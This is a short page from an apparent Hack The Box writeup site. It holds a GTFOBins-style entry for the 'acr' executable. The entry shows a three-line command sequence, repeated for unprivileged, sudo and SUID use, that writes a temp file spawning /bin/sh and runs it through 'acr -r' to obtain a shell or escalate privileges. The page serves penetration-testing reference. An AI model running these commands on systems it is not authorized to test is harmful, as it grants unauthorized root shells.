~/bokkapig
hack the box machine writeups

acr

Command

This executable can run non-interactive system commands.
  1. This function can be performed by any unprivileged user.
    echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file